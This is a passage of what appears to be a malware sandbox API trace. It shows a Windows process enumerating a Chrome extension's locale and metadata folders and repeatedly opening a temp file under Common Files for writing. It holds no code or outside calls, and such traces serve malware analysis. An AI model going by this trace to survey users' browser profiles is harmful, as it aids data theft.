lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.779] GetFileType (hFile=0x128) returned 0x1 [0143.779] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.779] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.779] GetLastError () returned 0x12 [0143.779] AreFileApisANSI () returned 1 [0143.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.779] GetFileType (hFile=0x128) returned 0x1 [0143.782] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.782] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.782] GetLastError () returned 0x12 [0143.782] AreFileApisANSI () returned 1 [0143.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.782] GetFileType (hFile=0x128) returned 0x1 [0143.783] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.838] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.838] GetLastError () returned 0x12 [0143.838] AreFileApisANSI () returned 1 [0143.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.838] GetFileType (hFile=0x128) returned 0x1 [0143.838] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.839] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.839] GetLastError () returned 0x12 [0143.839] AreFileApisANSI () returned 1 [0143.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.839] GetFileType (hFile=0x128) returned 0x1 [0143.839] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.839] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.839] GetLastError () returned 0x12 [0143.839] AreFileApisANSI () returned 1 [0143.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.840] GetFileType (hFile=0x128) returned 0x1 [0143.840] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.840] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.841] GetLastError () returned 0x12 [0143.841] AreFileApisANSI () returned 1 [0143.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.841] GetFileType (hFile=0x128) returned 0x1 [0143.841] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.842] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.842] GetLastError () returned 0x12 [0143.842] AreFileApisANSI () returned 1 [0143.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.842] GetFileType (hFile=0x128) returned 0x1 [0143.842] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.842] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.842] GetLastError () returned 0x12 [0143.843] AreFileApisANSI () returned 1 [0143.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.843] GetFileType (hFile=0x128) returned 0x1 [0143.843] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.843] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.843] GetLastError () returned 0x12 [0143.843] AreFileApisANSI () returned 1 [0143.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.843] GetFileType (hFile=0x128) returned 0x1 [0143.844] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.844] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.844] GetLastError () returned 0x12 [0143.844] AreFileApisANSI () returned 1 [0143.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.844] GetFileType (hFile=0x128) returned 0x1 [0143.844] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.845] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.845] GetLastError () returned 0x12 [0143.845] AreFileApisANSI () returned 1 [0143.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.845] GetFileType (hFile=0x128) returned 0x1 [0143.845] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.845] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.845] GetLastError () returned 0x12 [0143.845] AreFileApisANSI () returned 1 [0143.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.846] GetFileType (hFile=0x128) returned 0x1 [0143.846] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.846] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.846] GetLastError () returned 0x12 [0143.846] AreFileApisANSI () returned 1 [0143.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.846] GetFileType (hFile=0x128) returned 0x1 [0143.846] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.847] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.847] GetLastError () returned 0x12 [0143.847] AreFileApisANSI () returned 1 [0143.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.847] GetFileType (hFile=0x128) returned 0x1 [0143.847] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.847] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.847] GetLastError () returned 0x12 [0143.848] AreFileApisANSI () returned 1 [0143.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0143.848] GetFileType (hFile=0x128) returned 0x1 [0143.848] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0143.848] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0143.848] GetLastError () returned 0x12 [0143.848] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0143.848] GetLastError () returned 0x12 [0143.848] AreFileApisANSI () returned 1 [0143.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0143.849] GetFileType (hFile=0x194) returned 0x1 [0143.849] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ae0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ae0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0143.849] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0143.849] GetLastError () returned 0x12 [0143.849] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0143.849] GetLastError () returned 0x12 [0143.849] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0143.849] GetLastError () returned 0x12 [0143.849] AreFileApisANSI () returned 1 [0143.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0143.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0143.849] GetFileType (hFile=0x18c) returned 0x1 [0143.850] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, 